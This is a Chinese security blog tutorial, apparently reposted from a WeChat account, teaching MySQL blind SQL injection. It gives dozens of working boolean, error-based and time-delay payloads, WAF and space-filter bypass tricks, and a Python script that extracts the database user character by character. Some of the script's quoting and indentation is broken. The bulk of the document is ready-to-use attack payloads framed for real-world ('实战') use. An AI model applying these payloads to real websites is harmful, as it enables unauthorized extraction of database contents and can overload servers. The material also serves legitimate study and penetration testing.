本文将以最直接的方式教会你如何进行mysql盲注,有不对的地方希望师傅们指出。
sql注入产生原因
-
用户能控制参数输入的内容。
-
web应用把用户输入的内容在没经过严格的过滤和验证的情况下带入到数据库中执行。
盲注类型
布尔型:通过判断响应包Content-Length的不同来注出数据。
延时型:通过判断响应包回显时长的不同来注出数据。
盲注手法"三板斧"
第一步:判断存在注入点且注入点且长度没有做限制。
第二步:找到mysql自有的条件判断语句/逻辑运算等构造 。
第三步:利用一些"截取函数"等方法来注出数据。
基础案例
这里以最常见的单引号闭合方式的注入为例:首先第一步最简单粗暴的方法就是使用连续的输入单引号来判断是否能达到正常闭合且可控。当输入单个数单引号的响应包返回一致、双个数单引号的响应包返回一致、单双引号的响应内容不一致(Content-Length的值不同)且网站没对用户输入的长度进行限制,我们就可以开始第二步了。只需要连续输入单引号就能判断是否存在注入了。当然这只是正常的情况下,如果只用连续输入单引号来判断注入的话,会遗漏一些注入点的,这个点我们后续会讲解。第二步,找到mysql自有的条件判断函数或逻辑运算等构造payload。为什么叫布尔盲注,因为布尔值只会返回
0(false)
和1(true)
,我们只需构造两个分别为true
和false
的payload,来判断响应包是否发生改变。
逻辑运算符
and运算符
dumb' and 1=1# ture and ture = ture 为真响应包返回长度1492
dumb' and 1=2# ture and false = fasle 为假响应包返回长度1446
单使用and逻辑运算符的缺点是需确保payload逻辑为真,则一定需要保证第一个数据需为真,例如以上例子的dumb数据是需要在数据库中存在的,在实战中有些功能点是查不到数据的,所以我们可以使用其他的方法。
or运算符
' or 1=1# true 为真响应包返回长度1492
' or 1=2# false 为假响应包返回长度1446
当注释符号被禁用的时候可采用and和or一起使用
' and 1=1 or '1'='2 为真响应包返回长度1492
' and 1=2 or '1'='2 为假响应包返回长度1446
第三步注入出数据 通常采用的是字符串截取与比较的方法来注出数据,这里我们只注当前登录的usermysql字符串截取函数,mysql存在许多字符串截取函数,这里我们以substr()函数举例:substr()函数用法 substr(string string,num start,num length);
在第二步我们可知为真响应包返回长度1492,为假响应包返回长度1446,说明我们已经成功注出当前user的第一位为r
之后我们就可以编写盲注脚本
# -*- coding:utf-8 -*-
import requests
# dic 保存的是mysql 标识符
dic = '0123456789abcdefghigklmnopqrstuvwxyz_,'
url = 'http://127.0.0.1/sqli/Less-1/?id=1''
# 结果,初始化置空
result = ''
#循环1 i:是指依次取出字符,一共尝试取100个
for i in range(1,100):
#循环2 j:是指依次比较 dic中保存的字符和数字
for j in dic:
payload = "and substr(user(),{0}, 1) = {1} --+ "
.format(str(i), ascii(j))
response = requests.get(url = url+payload,timeout = 5)
if 'You' in response.text:
result += j
print(result)
print(result)
这样当前登录的user()已经成功注出,后续注其他数据也是按这样的结构进行判断。
同理延时盲注也是如此,利用sleep()函数与条件判断函数相结合来进行注入但是在真实环境中会有各种各样的过滤,这时候我们就需要寻找一些方法来进行绕过。
奇淫巧计
由于是布尔盲注,我们只需能控制两个不同的页面就可以达到注入的效果,那我们是否可以令数据库报错之后的页面来与正常的页面进行比较呢,答案是可以的。前置知识
if()函数
IF(expr,v1,v2)
如果表达式expr
是TRUE(expr<>0 and expr<>NULL)
,则IF()
的返回值为v1,否则返回值v2:
exp()函数
由于数据库中e的710次方的值大到数据库无法承受,所以会抛出error强制令数据库报错型: payload:
if(1=1,1,exp(710))
1=1
时:逻辑上 1=1 为真,查询语句正常,返回正常的查询结果:1'+and+if(1=1,1,exp(710))=1+and+'1'='1
1=2
时:逻辑上exp(710)=1
不成立且exp(710)
本身查询就报错,查询异常:1'+and+if(1=2,1,exp(710))=2+and+'1'='1
这样我们已经能够控制两个不同的页面(length不同),那么我们接下来就可以注数据了,将注数据的payload放入
1=1
处,就可以成功住出数据了。
函数/语句归类总结
这时候我们就可以进行归类了,以便于今后替换payload
1.令mysql报错的函数
cot(0)
exp(710)
power(2,10000)
(select+1+union+select+2)
等等
2.注数据的"截取函数"有以下几种
substr(user(),1,1)
substring(user(),1,1)
mid(user(),1,1)
举例:以上三种方法存在bypaas的形式
bypass','的情况可以用 from start for end 的形式绕过
substr(user()+from+1+for+1)='r'
substr(user()+from+1+for+2)='ro'
left(user(),1)
right(user(),1)
lpad(user(),1,1)
rpad(user(),1,1) mysql中rpad与lpad用法相同
instr(user(),'r')=1 判断user()的第一位是否为'r'
举例:1'+and+if(instr(user(),'r')=1,1,exp(1000))=1+and+'a'='a 第一位为'r'
1'+and+if(instr(user(),'o')=2,1,exp(1000))=1+and+'a'='a 第二位为'o'
select insert(insert((select database()),1,0,space(0)),2,222,space(0)); // s
select insert(insert((select database()),1,1,space(0)),2,222,space(0)); // e
select insert(insert((select database()),1,2,space(0)),2,222,space(0)); // c
select insert(insert((select database()),1,3,space(0)),2,222,space(0)); // u
select insert(insert((select database()),1,4,space(0)),2,222,space(0)); // r
select insert(insert((select database()),1,5,space(0)),2,222,space(0)); // i
select insert(insert((select database()),1,6,space(0)),2,222,space(0)); // t
locate('r',user())=1 判断user()的第一位是否为'r'
举例:1'+and+if(locate('r',user())=1,1,exp(1000))=1+and+'a'='a 第一位为'r'
1'+and+if(locate('o',user())=2,1,exp(1000))=1+and+'a'='a 第一位为'o'
position('r'+in+user())=1 判断user()的第一位是否为'r'
1'+and+if(POSITION('r'+in+user())=1,1,exp(1000))=1+and+'a'='a 第一位为'r'
1'+and+if(POSITION('o'+in+user())=2,1,exp(1000))=1+and+'a'='a 第一位为'o'
3."条件判断函数"
0.and 0 和or 1 的短路特性
select * from users where id=1 and 1 and sleep(1); 执行sleep(1)延时1s 但查不到数据
select * from users where id=1 and 0 and sleep(1); 不会执行sleep(1)
select * from users where id=1 or 1 and sleep(1); 执行sleep(1),根据表中条数来延时
select * from users where id=1 or 0 and sleep(1); 不会执行sleep(1),返回id=1的值
扩展(利用逻辑运算符的特性)
select * from users where id=1 xor 1 and ''; 查询表除id=1外所有的数据
select * from users where id=1 xor 0 and ''; 查询id=1的数据
select * from users where id=1 ^ 1 ^ ''; 查询结果为空
select * from users where id=1 ^ 0 ^ ''; 查询1d=1的数据
在通过改变结果为1和0的语句进行判断
例如:select * from users where id=1 xor substr(user(),1,1)='r' xor '';
等等...
1.if()函数
IF(expr,v1,v2)如果表达式expr是TRUE(expr<>0 and expr<>NULL),则IF()的返回值为v1,否则返回值v2
注入用法
if(1=1,1,1/0) 1/0 返回值为null
if(1=1,1,exp(1000)) exp(1000) 令数据库查询报错
实战
#强制令数据库报错型:if(1=1,1,exp(1000))
#1=1时,-----》逻辑上 2=2 为真,查询语句正常,返回正常的查询结果
1'+and+(if(1=1,2,exp(1000)))=2+and+'1'='1
#1=2时,-----》逻辑上 exp(1000)=2 不成立且exp(1000)本身查询就报错,查询异常,抛出错误
1'+and+(if(1=2,2,exp(1000)))=2+and+'1'='1
猜当前用户user()字段
如果user()第一位字段为r,说明(lpad(user(),1,1)='r')为真(Ture)-->选择表达式1值也就是2-->2=2
整个语句为真,返回正常查询的结果
1'+and+if(lpad(user(),1,1)='r',2,exp(1000))=2+and+'1'='1
反之(lpad(user(),1,1)='a')为假-->选择表达式2的值也就是exp(1000)-->exp(1000)=2
1'+and+if(lpad(user(),1,1)='a',2,exp(1000))=2+and+'1'='1
------------------------
查询结果为空型:if(1=1,1,1/0)
利用:建立在已知查询结果返回页面与查询结果为空的返回页面Content-Length不相等的情况下(字面意
思就是),如果Content-Length相等就可以使用上面那种强制令数据库报错型或者配上延时函数型,也
可以尝试换成or连接(实战的时候少用or),看是否能查到数据。
2.case..when..
CASE WHEN v1 THEN r1 WHEN V2 THEN r2 ELSE rn END 该函数表示,某个vn值为TRUE时,返回对应位置THEN后面的结果,如果所有值都不为TRUE,则返回ELSE后面的rn
注入用法
case+when+1=1+then+1+else+exp(1000)+end
实战
#强制令数据库报错型:case+when+1=1+then+1+else+exp(1000)+end
#1=1时,-----》逻辑上 2=2 为真,查询语句正常,返回正常的查询结果
'and+(case+when+1=1+then+2+else+exp(1000)+end)=2+and+'1'='1
#1=2时,-----》逻辑上 exp(1000)=2 不成立且exp(1000)本身查询就报错,查询异常,抛出错误
'and+(case+when+1=2+then+2+else+exp(1000)+end)=2+and+'1'='1
猜当前用户user()字段
如果user()第一位字段为r,说明(lpad(user(),1,1)='r')为真返回1(Ture)-->1=1-->2=2
整个语句为真,返回正常查询的结果
'and+(case+when+(lpad(user(),1,1)='r')=1+then+2+else+exp(1000)+end)=2+and+'1'='1
反之(lpad(user(),1,1)='a')为假返回0(False)-->exp(1000)=2
'and+(case+when+(lpad(user(),1,1)='a')=1+then+2+else+exp(1000)+end)=2+and+'1'='1
------------------------
查询结果为空型:case+when+1=1+then+1+else+1/0+end
利用:建立在已知查询结果返回页面与查询结果为空的返回页面Content-Length不相等的情况下,相等
就可以使用上面那种强制令数据库报错型或者配上延时函数型。
总结:
使用合适的条件语句+逻辑判断真假+令数据库报错的内置函数/返回值为null的函数-->形成payload
比较Content-Length/返回包时间/数据库是否报错
最终判断出注入以及注出数据
3.nullif()函数
nullif(v1,v2) MySQL 中的一个函数,用于比较两个表达式的值。如果这两个表达式的值相等,则 NULLIF 函数返回 NULL;如果它们的值不相等,则返回第一个表达式的值。
1'+and+nullif(1/(lpad(user(),1,1)='r'),exp(1000))=1+and+'a'='a exp报错
1'+and+nullif(1/(lpad(user(),1,1)='a'),exp(1000))=1+and+'a'='a 为假但不报错
1'+and+nullif(1/(lpad(user(),1,1)='r'),sleep(2))=1+and+'a'='a 延时2s
1'+and+nullif(1/(lpad(user(),1,1)='a'),sleep(2))=1+and+'a'='a 不延时
4.ifnull(expr1,expr2)
假如 expr1 不为 NULL ,则 IFNULL() 的返回值为 expr1 ; 否则其返回值为 expr2 。IFNULL() 的返回值是数字或是字符串,具体情况取决于其所使用的语境
1'+and+ifnull(lpad(user(),1,1)='a',2)=1+and+'a'='a 0=1
1'+and+ifnull(lpad(user(),1,1)='r',2)=1+and+'a'='a 1=1
由于select 1/0 返回值为null
那么:
1'+and+ifnull(1/(lpad(user(),1,1)='a'),exp(1000))=1+and+'a'='a exp报错
1'+and+ifnull(1/(lpad(user(),1,1)='r'),exp(1000))=1+and+'a'='a 为真
1'+and+ifnull(1/(lpad(user(),1,1)='a'),sleep(2))=1+and+'a'='a 为假延时2s
1'+and+ifnull(1/(lpad(user(),1,1)='r'),sleep(2))=1+and+'a'='a 为真不延时
5.ELT(N,str1,str2,str3,...)
如果N= 1,返回str1,如果N= 2,返回str2,等等。如果N小于1或大于参数个数,返回NULL。ELT()是FIELD()反运算。
select elt(1,22,33,44) 输出 22
select elt(2,22,33,44) 输出 33
select elt(2,22,33,44) 输出 44
select elt(0,22,33,44) 输出null
select elt(4,22,33,44) 输出null
注入
#substr(user(),1,1)='a'为0(false)--->elt(substr(user(),1,1)='a',1,2,3)为null-->null=1不成立
1'+and+elt(substr(user(),1,1)='a',1,2,3)=1+and+'a'='a
#substr(user(),1,1)='r'为1(ture)--->elt(substr(user(),1,1)='r',sleep(3),2,3)为1-->成功延时3s
1'+and+elt(substr(user(),1,1)='r',sleep(3),2,3)=1+and+'a'='a
6.FIELD(str,str1,str2,str3,...)
返回str在str1, str2, str3, ...清单的索引。如果str没找到,返回0。FIELD()是ELT()反运算。
select field(1,1,2,3) 返回1
select field(1,2,1,3) 返回2
select field(1,2,3,1) 返回3
select field(1,2,3,4) 返回0
注入
成功就不延时
1'+and+field(substr(user(),1,1)='r',1,sleep(3))=1+and+'a'='a
不成功就延时3s
1'+and+field(substr(user(),1,1)='s',1,sleep(3))=1+and+'a'='a
7.FIND_IN_SET(str,strlist)
如果字符串str在由N子串组成的表strlist之中,返回一个1到N的值,str不在strlist里面返回0
1'+and+FIND_IN_SET(lpad(user(),1,1)='a',1)=1+and+'a'='a 0=1
1'+and+FIND_IN_SET(lpad(user(),1,1)='r',1)=1+and+'a'='a 1=1
1'+and+FIND_IN_SET(1=1,sleep(2))=1+and+'a'='a 延时2s
1'+and+FIND_IN_SET(1=2,sleep(2))=1+and+'a'='a 延时4s
8.make_set(bits,str1,str2,str3...)函数
返回一个设定值(含子字符串分隔字符串","字符),在设置位的相应位的字符串。str1对应于位0,str2到第1位,依此类推。在str1,str1有NULL值,…那么不添加到结果。
1将转为二进制,1的二进制为0000 0001,倒过来为1000 0000,所以取str1(a),打印a
select make_set("1","a","b","c");
2将转为二进制,1的二进制为0000 0010,倒过来为0100 0000,所以取str2(b),打印b
select make_set("1","a","b","c");
3将转为二进制,3的二进制为0000 0011,倒过来为1100 0000,所以取str1(a),str2(b),打印a,b
select make_set("3","a","b","c");
4将转为二进制,4的二进制为0000 0100,倒过来为0010 0000,所以取str3(c),打印c
select make_set("3","a","b","c");
注入:
延时2s
1'+and+make_set(substr(user(),1,1)='r',sleep(2))=1+and+'1'='1
不延时
1'+and+make_set(substr(user(),1,1)='a',sleep(2))=1+and+'1'='1
4.注数据所用的函数/运算符/注释符
1.编码函数
ORD() r的ascii编码是114
1'+and+if(ord(left(user(),1))=114,1,exp(1000))=1+and+'a'='a
ASCII()
1'+and+if(ascii(left(user(),1))=114,1,exp(1000))=1+and+'a'='a
结果使用hex编码 r的16进制编码是72
1'+and+if(left(user(),1)=0x72,1,exp(1000))=1+and+'a'='a
1'+and+if(left(user(),1)=unhex(72),1,exp(1000))=1+and+'a'='a
也可以直接嵌套hex()函数
1'+and+if(hex(left(user(),1))=72,1,exp(1000))=1+and+'a'='a
使用conv()函数
select conv(27,10,36);的返回值为R
select lower(conv(27,10,36))的返回值为r
列举常用字符:conv(10,10,36)---conv(35,10,36) 等价于 A---Z
1'/**/and/**/lpad(user(),1,1)=lower(conv(27,10,36))/**/or/**/'1'='2
ascii()
ascii(1)=49 ascii('a')=97
2.比较运算符
=
>
<
like (模糊查询)
举例:1'+and+if(user()+like+'root%25',1,2)=1+and+'a'='a
between
举例:(between 2 and 5)------------>在2到5之间,包含2和5 结果返回1(ture)和0(false)
r的16进制是74,通过两次判断可确定 user()的第一位为0x74,也就是r
1'+and+if(substr(user(),1,1)+between+0x73+and+0x74,1,exp(1000))=1+and+'a'='a
1'+and+if(substr(user(),1,1)+between+0x74+and+0x75,1,exp(1000))=1+and+'a'='a
regexp 或 rlike (正则匹配)
举例:1'+and+if(user()+regexp+'root',1,exp(1000))=1+and+'a'='a
1'+and+if(user()+regexp+0x72,1,exp(1000))=1+and+'a'='a
1'+and+if(user()+rlike+'root',1,exp(1000))=1+and+'a'='a
1'+and+if(user()+rlike+0x72,1,exp(1000))=1+and+'a'='a
---------------------
正则注数据:
SELECT 1 FROM users WHERE substr(password,1,1) REGEXP '^[a-z]' AND id=1; 返回ture
SELECT 1 FROM users WHERE substr(password,1,1) REGEXP '^[a-c]' AND id=1; 返回false
SELECT 1 FROM users WHERE substr(password,1,1) REGEXP '^d' AND id=1; 返回ture 确定第一位为d
'/**/rilke/**/exp(1000)/**/<>/**/'
'/**/rlike/**/exp(1000)/**/and/**/'1'='1
in
举例:in ('r')
1'+and+if(substr(user(),1,1)+in('r'),1,exp(1000))=1+and+'a'='a
1'+and+if(substr(user(),1,1)+in(0x72),1,exp(1000))=1+and+'a'='a
1'+and+if(user()+in('root@localhost'),1,exp(1000))=1+and+'a'='a
>> (位运算符)
举例:
select (ascii((substr(user(),1,1))) >> 7)=0; 返回结果为1---->说明第一位为0
select (ascii((substr(user(),1,1))) >> 6)=0; 返回结果为0----->说明第二位为1---> 01
select (ascii((substr(user(),1,1))) >> 5)=2; 返回结果为0----->说明第三位为1--->011 (因为011是3)
依次类推最终结果为01110010
select b'01110010'; 返回的结果为r
mod 取余函数
举例:1 mod 1 返回 0 1 mod 2 返回 1
'/**/mod/**/exp(1000)/**/mod/**/'
div 整除函数
举例:1 div 1 返回 1 1 div 2 返回 0
'/**/div/**/exp(1000)/**/div/**/'
字符串在逻辑上=0
举例 select if('ccc'=0,1,2) 返回1 select if('ccc'=1,1,2) 返回2
<>
举例:
select 1 and 1<>1 返回0
sleect 1 and 1<>2 返回1
'/**/<>/**/exp(1000)/**/<>/**/'
盲注时><符号被过滤,可以考虑使用greatest(a,b..) (返回其中的最大值)
greatest(ascii(substr(database(),0,1)),64)=64
3.逻辑运算符
逻辑运算符用来判断表达式的真假。如果表达式是真,结果返回 1。如果表达式是假,结果返回 0。
and或&& 逻辑与
★mysql中 and!!!1=1可以绕过空格(个数为奇数,包括不限于!~&-等(fuzz))
小技巧举例:and!!!1=1为ture and!!!!!1=1为false
or或|| 逻辑或
实战中少用or,用不好就会查询所有表的数据从而造成ddos,但是有时候非用不可的情况下
例如延时注入的话最好是使用子查询的方法:
select * from users where id =-1 or if(1=1,(select sleep(5) from information_schema.schemata as b),1);
select * from users where id =-1 or if(1=1,(select 1 from (select(sleep(5)))test),1);
select * from users where id =-1 or if(1=1,(select 1 from (select(sleep(5))) as a),1);
not或!逻辑非
select not 1 (false返回0)
select !0 (ture返回1)
select !null (返回null)
xor 逻辑异或运算符
select 1 xor 1 返回逻辑为0(false)
select 0 xor 0 返回0
select 1 xor 0 返回1逻辑为1(ture)
select 0 xor 1 返回1
select null xor 1 返回null
^ 位异或运算符
select 1 ^ 1 0001 ^ 0001 --->0000 返回结果为0
select 0 ^ 0 0000 ^ 0000 --->0000 返回结果为0
select 1 ^ 0 0001 ^ 0000 --->0001 返回结果为1
select 2 ^ 1 0010 ^ 0001 --->0011 返回结果为3
select 5 ^ 3 0101 ^ 0011 --->0110 返回结果为6
select null ^ 1 返回null
<>
select 1<>1 返回0
select 1<>2 返回1
select 1<>null 返回null
payload: '/**/<>/**/1#7
like
select 1 like 1=1
select 1 like 1=2
5."延时函数"
1.
select sleep(5);
(select 1 from (select(sleep(5)))test);
2.
SELECT BENCHMARK(10000000, MD5('aaa')); 重复执行10000000次MD5('aaa')
3.
Heavy Query 笛卡尔积 (不推荐,当数据过多的时候会造成dos)
(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C)
4.
Get_lock() 加锁机制(限制条件就是数据库的连接必须是持久连接)
首先对username字段加锁
select * from users where id = 1 and get_lock('username',1);
之后再进行加锁,就不会成功,且会延时直接设定的加锁时长
然后构造盲注payload(可在中间1和0出加入注数据的payload)
select * from users where id = 1 and 1 and get_lock('username',5);
select * from users where id = 1 and 0 and get_lock('username',5);
注入结束后记得释放枷锁
select * from users where id = 1 and 1 and RELEASE_LOCK('username');
5.
另外,利用 带外通道 发起网络请求,也有可能造成时延。
不过 MySQL 的带外通道只能在 Windows 下利用 LOAD_FILE 完成。
6.注释符
#
;%00
-- +
/**/ /*/**/ 绕过空格
/*!*/ /*!/*!*/ 绕过空格
其他技巧
理顺mysql逻辑运算
mysql select的特性与运算的优先级
select 0=0 返回1
select 0='' 返回1
select 1='' 返回0
select 1=0=0 返回1
select 1=1=0 返回0
select 1=1='' 返回0
select 1=0='' 返回1
所以:
select * from users where username=1=0; 返回第一位不是1的所有值
select * from users where username=1=1; 返回第一位是1的值
select * from users where username=1=''; 返回第一位不是1的所有值
select * from users where username=0=0; 返回第一位不是0(包括所有字符串)的所有值
select * from users where username=0=1; 返回第一位是0(包括所有字符串)的所有值
select * from users where username=0=''; 返回第一位不是0(包括所有字符串)的所有值
select * from users where username=''=0; 返回所有值
select * from users where username=''=1; 返回空
select * from users where username=''=''; 返回所有值
返回查询表中除了id=1的其他数据
select * from users where id=1=0=0; 等价于 select * from users where id=1;
返回id=1的数据
select * from users where id=1=1=1; 等价于 select * from users where id=1;
所以bypass就有很多种方法 可以加入xor/and/or/等等
select * from users where id=1 xor 1 xor ''; 等价于 select * from users where id<>1;
select * from users where id=1 xor 0 xor ''; 等价于 select * from users where id=1;
理顺位运算符逻辑
&:位与运算符,对两个整数的二进制位进行按位与操作,并返回整数结果。
例如:SELECT 5 & 3; 返回结果为 1,因为二进制 101 & 011 结果为 001,转换为十进制即为 1。
|:位或运算符,对两个整数的二进制位进行按位或操作,并返回整数结果。
例如:SELECT 5 | 3; 返回结果为 7,因为二进制 101 | 011 结果为 111,转换为十进制即为 7。
^:位异或运算符,对两个整数的二进制位进行按位异或操作,并返回整数结果。
例如:SELECT 5 ^ 3; 返回结果为 6,因为二进制 101 ^ 011 结果为 110,转换为十进制即为 6。
~:位非运算符,对一个整数的二进制位进行按位取反操作,并返回整数结果。
例如:SELECT ~5; 返回结果为 -6,因为二进制 ~101 结果为 ...11111010,转换为十进制为2^64-6 即为 -6。
<<:左移运算符,将一个整数的二进制位向左移动指定的位数,并返回整数结果。
例如:SELECT 5 << 2; 返回结果为 20,因为二进制 101 向左移动两位为 10100,转换为十进制即为 20。
>>:右移运算符,将一个整数的二进制位向右移动指定的位数,并返回整数结果。
例如:SELECT 20 >> 2; 返回结果为 5,因为二进制 10100 向右移动两位为 101,转换为十进制即为 5。
select * from users;
select * from users where username=''| 0; -----> 0000 | 0000 ---> 0000 结果为0 我们可以看到查询到了除了username开头为0数字以外的值 (因为Mysql数据库中,varchar与数字比较时,会强制转换varchar为数字再进行比较(类似php语言中的intval函数处理)非数字开头的varchar字符串会转换为0再进行比较,数字开头的varchar字符串转化为开头对应数字部分的值再进行比较,所以当username和0进行比较时,会返回所有不是数字开头的结果)
select * from users where username=''| 1; -----> 0000 | 0001 --->0001--->结果为1select * from users where username=''| 1; -----> 0000 | 0011 --->0011--->结果为2
之后可利用false注入利用。
巧⽤~特殊字符串绕过waf
当前⾯⼀个数字<后⾯⼀个数字的时候,就会触发溢出 如果>=就查询正常
select ~0+1 报错
select ~1+1 正常
巧用布尔盲注 爆破113这个位置,如果正常说明第一位就是这个值
id=1' and 1=~113+ascii(substring(current_user,1,1))#
结合逻辑运算符和位运算符可以将and替换
id=1' && 1=~113+ascii(substring(current_user,1,1))#
id=1' <> 1=~113+ascii(substring(current_user,1,1))#
...
总结
一般常见的盲注方法有以上方法,通常是用于无waf的情况下,存在waf的话就需要使用其他的方法进行绕过。
加入我们学习群一起学习交流,一群已超过200人,可扫 码添加左侧运营微信发送验证”云鸦“进入,也可以扫码直接二群,欢迎师傅们一起学习交流,每天学习安全新知识~
原文始发于微信公众号(云鸦安全):mysql实战宝典:一文掌握mysql盲注
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论